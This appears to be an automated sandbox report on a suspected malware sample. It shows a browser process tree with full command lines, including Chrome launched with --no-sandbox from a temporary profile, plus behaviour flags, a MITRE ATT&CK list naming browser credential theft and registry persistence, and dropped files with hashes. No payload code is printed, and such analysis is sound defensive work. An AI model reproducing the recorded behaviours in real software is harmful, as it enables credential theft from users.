    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2984 -prefsLen 27200 -prefMapHandle 2812 -prefMapSize 270331 -ipcHandle 3116 -initialChannelId {e807a7c1-fca2-44eb-af7b-d7c6862bcc7a} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        5⤵
        
        PID:2464
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3580 -prefsLen 27325 -prefMapHandle 3584 -prefMapSize 270331 -jsInitHandle 3588 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3756 -initialChannelId {d6978e00-b5e8-4127-acf7-41e4ab9b82c1} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        5⤵
        Checks processor information in registry
        
        PID:696
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\01dc4f15-6a97-44fd-90a9-b6a486e7254e.dmp"
        5⤵
        
        PID:2080
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3116 -prefsLen 27325 -prefMapHandle 3180 -prefMapSize 270331 -ipcHandle 3936 -initialChannelId {c256358a-6467-4530-b803-0293bc9ca7e5} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        5⤵
        
        PID:3420
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\d6c3a04e-f09c-45af-902e-9e2b689e5216.dmp"
        5⤵
        
        PID:2424
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4176 -prefsLen 27325 -prefMapHandle 4180 -prefMapSize 270331 -ipcHandle 4188 -initialChannelId {1145700b-3da6-4301-b830-c60b68a4af84} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        5⤵
        
        PID:5568
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3000 -prefsLen 34878 -prefMapHandle 2592 -prefMapSize 270331 -jsInitHandle 2632 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2704 -initialChannelId {e12b1ceb-546a-4b96-8dd5-0ffc27ac768c} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        5⤵
        Checks processor information in registry
        
        PID:5876
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4916 -prefsLen 34878 -prefMapHandle 4932 -prefMapSize 270331 -ipcHandle 1528 -initialChannelId {fc157ab4-aa51-4401-8a08-d128f00af4fe} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        5⤵
        Checks processor information in registry
        
        PID:6860
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5100 -prefsLen 32818 -prefMapHandle 5104 -prefMapSize 270331 -jsInitHandle 5108 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5044 -initialChannelId {03345e6d-e9e3-4ba1-8789-c6181eaba21b} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        5⤵
        Checks processor information in registry
        
        PID:6960
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5140 -prefsLen 32818 -prefMapHandle 5144 -prefMapSize 270331 -jsInitHandle 5148 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5156 -initialChannelId {24551985-8ae8-4c3d-8df7-554af470bf97} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        5⤵
        Checks processor information in registry
        
        PID:6968
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5496 -prefsLen 32818 -prefMapHandle 5500 -prefMapSize 270331 -jsInitHandle 5504 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5512 -initialChannelId {3c6325d4-745e-4342-95d4-ea86ba20457b} -parentPid 6080 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6080" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        5⤵
        Checks processor information in registry
        
        PID:6976
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:5552
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff96b33c728,0x7ff96b33c734,0x7ff96b33c740
      4⤵
      PID:3896
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1752,i,10633613387483112551,16050803139295175275,262144 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:2
      4⤵
      PID:1736
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1948,i,4089920913510940210,1770544915284563698,524288 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=2060 /prefetch:3
      4⤵
      System Time Discovery
      PID:5236
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --force-high-res-timeticks=disabled --metrics-shmem-handle=2184,i,8741088221798894634,7501275849803154700,524288 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=2124 /prefetch:8
      4⤵
      PID:2480
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2860,i,3790764060299828119,15007105774993978589,2097152 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:1
      4⤵
      PID:6208
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2864,i,3388498293704555852,11268684213254535376,2097152 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:1
      4⤵
      PID:6216
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3308,i,16653710412660293704,9033080817746705987,2097152 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=3452 /prefetch:1
      4⤵
      PID:6348
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3320,i,8967711630119491729,16504571662262827789,2097152 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:2
      4⤵
      PID:6356
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3352,i,6255227739641997301,11925175544653185511,2097152 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=4072 /prefetch:1
      4⤵
      PID:6824
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4144,i,3528756103918615642,11787426453121081284,2097152 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=4160 /prefetch:2
      4⤵
      PID:6832
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --force-high-res-timeticks=disabled --metrics-shmem-handle=4124,i,14024625769548630876,8103060854282375332,524288 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=4180 /prefetch:8
      4⤵
      PID:6836
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --force-high-res-timeticks=disabled --metrics-shmem-handle=4988,i,11873010693724907615,14920229613218370748,524288 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=4960 /prefetch:8
      4⤵
      PID:7140
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5032,i,8886353067511887604,16494345625610530876,2097152 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:1
      4⤵
      PID:4924
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5064,i,6574103838483461527,15207773226512140386,2097152 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:1
      4⤵
      PID:3056
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5104,i,15223998169863392324,7622764830049858640,2097152 --field-trial-handle=2056,i,13679366683561484655,14750739382751218875,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:1
      4⤵
      PID:6340
  - - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
      4⤵
      Drops file in Program Files directory
      PID:6728
    - - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x268,0x26c,0x270,0x228,0x274,0x7ff61de755a0,0x7ff61de755ac,0x7ff61de755b8
        5⤵
        Drops file in Program Files directory
        
        PID:6948
    - - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --system-level --verbose-logging --installerdata="C:\Program Files\Google\Chrome\Application\initial_preferences" --create-shortcuts=1 --install-level=0
        5⤵
        Drops file in Program Files directory
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        
        PID:408
      - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x268,0x26c,0x270,0x244,0x274,0x7ff61de755a0,0x7ff61de755ac,0x7ff61de755b8
        6⤵
        Drops file in Program Files directory
        
        PID:3544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 7b36112267a0674c8ff8431924d241dcd81a5c7d8ae1376e83913a18d8a27aa3
MD5 2aa4b8e5fe3c34eacccac6353a1ca589
SHA1 79a05a459511825ede7ec7c8eff3f4edc8d3ec2f
SHA512 ef62eef1cb79180a4e7ce266b55f51adfa8a651c00fe87ee14c788d250bd78235832968bbb35ac194313c71069891fe19c56fb6ddf50caae7ca8418647129f51
TLSH
T1DD414749B6EA1144F3B77F5AABF6686E447FBD772F0A945D10110D4E0623A40C8A2737
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e310dab2e24d8d1e1ecb79c7abbb5c161f9b03327ea01002f97c161a35f1d95a
MD5 9a20e27cb61274ff472ee98776d23640
SHA1 147047e76ec0045c7b9e7e96344b55c8fef7f5fc
SHA512 4cd32e4f6b877cfb3798f2dbd50c8a423703ca2b46b491539b08b343c118798c99ce4664f5ea2796c6eb5b8b46ca069b9dcbc107bf0e9cc6ea1645af660c38ff
TLSH
T15F219823B39C8922CCCA113A508DAC1036B283D781AECF9F6FC4D604E17F9D8CB62190
MD5 SHA1 SHA512 TLSH

Submit Download

activity-stream.contile.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\unfswcr7.default-release\activity-stream.contile.json
Size 4KB
SHA256 3e48d59676dd5f228fdff7f1379ea9214dc826d16e9d59cb4c25f4eea7f9ab65
MD5 e0f7129d60821ee08a125767c3ca6d91
SHA1 8feb74fb43c1a07d0d90b0685d6c6406d3424f0a
SHA512 3813a5c162e36a236b3668e17ecb61fdd0a8943e3a471d40d729e0381cac0b236d6694e13e7634b2ee67932ab06a3325f7f55bf223275808d0dca1da9820e435
SSDEEP 96:KuMtv/3nuBFh3sr7dA7Hxev55Brz1CVvPXuAT+mRn4r6IOl:KuMtv/+BFhq7dALsXBrz1CVXcmRn4r6t
TLSH
T1A9A10AEB982889966722AAE07C4F375CF047A143AAF69A4EFB864C11F5A425E41DD440
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

activity-stream.discovery_stream.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\unfswcr7.default-release\activity-stream.discovery_stream.json
Size 74KB
SHA256 e20564d679cf535a55fd4e5c5839a6ffc66da0927d4bb1fe97f604954b6eb02d
MD5 ee29e4c12618ce531e7e8a5818fe2a1e
SHA1 a55b310595b3d36b01f7ab1bf5e08f77ffbd10b4
SHA512 1a8860397c9263093fc0d7fe67be271e8df9e641b93db0a819f6ec5152ce7d2024b66ad22dbaec722c22bd4671565fc3ff4863b13d4fd82a123999d7373e3eb7
SSDEEP 768:0yY/W9837/hERBUWHpypcVnP7vJAZ0AGcxy5DfcRr1Q4bEP+JAH0uBeRtLtCTst:vtu5s5VnP7xk0AGcUDfYEPlH0uARtLWc
TLSH
T1D9730AA3A6ACB1BB1F9537C72C0B795756E60145E38606C9ECFDC62C80CD750123EAAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CD1C116DEEE8F4F97C1806976E10E7E2B349E486

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\unfswcr7.default-release\cache2\entries\CD1C116DEEE8F4F97C1806976E10E7E2B349E486
Size 13KB
SHA256 4ed77c1f1a2b53e46eb701ae607825bbc3dbfdf4b27730e6bcc6ab88729e65e0
MD5 da633d9ea2273ba436745c72ccfc30a9
SHA1 7e044439a827746756f922af3181fbac5d48d7b3
SHA512 b5e96a59a545183e5b708d249fb3ebc4749190471a5466b0675f1d8b75c6942180247d4a236072a0535afb043d35cfcc25732b8a24274d8cfa964996bd0ba207
SSDEEP 384:HbaFrLiO024YAFuhw+5EL1pPsac4j0lpDII+LNFXNFp:7aAZYAFuK+5EB9sac4ID8LLfB
TLSH
T1D7527D7E9F0138BA1A6BD294D8ED5308CE04D6BBEEE2D05605543854CA847BCB4F64DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

webext.sc.lz4

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\unfswcr7.default-release\startupCache\webext.sc.lz4
Size 105KB
SHA256 8ea21113b86a7e7092dd2d44b76dc63d92a7416ab68a824678200d2b00e447e0
MD5 698f65c917fff844dbba6b1bcffe187c
SHA1 e75abca4e2fd2e12b40ba61561aff4f7f0841a88
SHA512 1127d3d50713a5218d3097bcc917d5d01a823d01ad861b272f90b56ab70a65da41378aa3c30491e3a4e3de171871c0924e6736c878eaa335edfd5f5be7acc5a0
SSDEEP 3072:j3lovmDh6bihEYTFumAiFVHVufUjq3fHNo:pCjbia6FumAibHVuZPto
TLSH
T1FAB3AFF6DBA2CE3D59FF942D5B82C83EFD122004B3A73009C963625161C6FB87679648
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_0s1yazww.m1b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0s1yazww.m1b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a25b93a6-c1bd-439c-b25b-d3d56103435d.tmp

Path C:\Users\Admin\AppData\Local\Temp\a25b93a6-c1bd-439c-b25b-d3d56103435d.tmp
Size 147KB
SHA256 3256621f3c706ccdf5802b36fb5c35251d354aed0d31ac9fc8eb7d7239312e55
MD5 9c670f04d98ab7404f16423f6ee6cdfa
SHA1 8d01079b2d065731df8a7ef52f447cd4b7add353
SHA512 102cee76d9dfcfe91e044f529672fbec042b50c5db55a3cc137197b2013dd7f81e47f50dbb0db96cb621c5732610e1eb553c4146837c11075c7c4dbd67546a3b
SSDEEP 3072:F7R0M+jCozOtDTsjMcT0JnFjkbxnEbm/+OdGmlVVklFHEpCm+:F7WxxzyDTM0JnRkb5bJdGmJkvkpx+
TLSH
T12DE3E16D3DE6DE1FC41B58F53E64708BC80E8F0B820A644FB64988345A60B5D1BD6AFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

32.png

Path C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png
Size 1KB
SHA256 ccefdc2d816137b5954b591e8954c392e0cf27388fef2e437991e3999d9ad3d8
MD5 efa437b6fe5031994d5917a91c19990f
SHA1 d46a1115227ead4e92346b600c28e9ac72cce96f
SHA512 ab52261f15a3f21728b41b4765da5ec6c9e71051b720204ee2decf6f09ac8a0c9a5c12313d921f232f1e698a7425d34415eca8db21a37f423535806bcdf238bb
TLSH
T1F3310AC7644047BA52EDDAF37F6B0C57DC12210107D4A440599F56E17FEEEC86015478
MD5 SHA1 SHA512 TLSH

Submit Download

48.png

Path C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\48.png
Size 2KB
SHA256 bff87e21fa845d8ce3c266db6d904e9c7a3bf9fc2b95a1f1a5ca375f3fdb045a
MD5 097f67b0d583db3f8487ac27379c7eae
SHA1 18acf62fb9bc4e95899c4597cd72de66b6bef763
SHA512 0b6b323fa14e5b0dd6bb87fce791bbd0b7a867988d8332385ba76a35d93d4dd5b67f6be9be5a69fbdcd5da68c30bc840712daa83b9a0187b727d963dc9a9a045
TLSH
T15E514C54BEF34CB2EBC67C7254E65BF5A564C1E62D407A0C86B9CA1245BDD410CCD003
MD5 SHA1 SHA512 TLSH

Submit Download

64.png

Path C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\64.png
Size 3KB
SHA256 abe4eaa1a6fa423bcef61b423dc72386a9cf1968b1041de5270c56a7780254ad
MD5 8e589c60e0ba95ca1b178bad0a8298db
SHA1 d981cd3f9eb63636471e3bd4c0fd7585460ad6fd
SHA512 e8c7b5d340e698f3b1b42d6c3b7653b666e0add095611c00f502782928eb788070ca977b54b42f9515127861e55138a3cc0f02540f0bc2e44694fb0ea595ee34
TLSH
T196517D1B4B8AC56A0E53770E02E57ED454996C569EF383CC2106E7C0081A99F43EBBE7
MD5 SHA1 SHA512 TLSH

Submit Download

128.png

Path C:\Users\Admin\AppData\Local\Temp\bpvbbhxp.bpd\Default\Web Applications\Temp\scoped_dir5552_994676831\Icons\128.png
Size 5KB
SHA256 63be4dfbc222f0c026579113af9aa7dea61e78a166ab9af053b46c1e172240ff
MD5 9cafc16ce8040254ec411cc5a8f954f2
SHA1 0d9841be48e134edf43c7ef970d24ddf852d155e
SHA512 aa1e0ac8d0647ee6c0b481e671b20fc68ff253dc72748b2aaf22f15bd8decd2b9723b16f8cd4c19d9a250abaa8d517101bad6ebfed7fd3a90ceefce02c1b3b75
SSDEEP 96:ALdfTPsPOWpgaNHQxO20qtLppvSFLtGaoFuPhQd1YDzpsE60tkuuAaw:m16NHQgoLjvSVtY2h6CDzpsErVu0
TLSH
T119C17E55555D711FD09D157110AF4A0F31A7E2AAC3785720C97E1BD0F88DE4603A3EB9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5\Crashpad\settings.dat
Size 280B
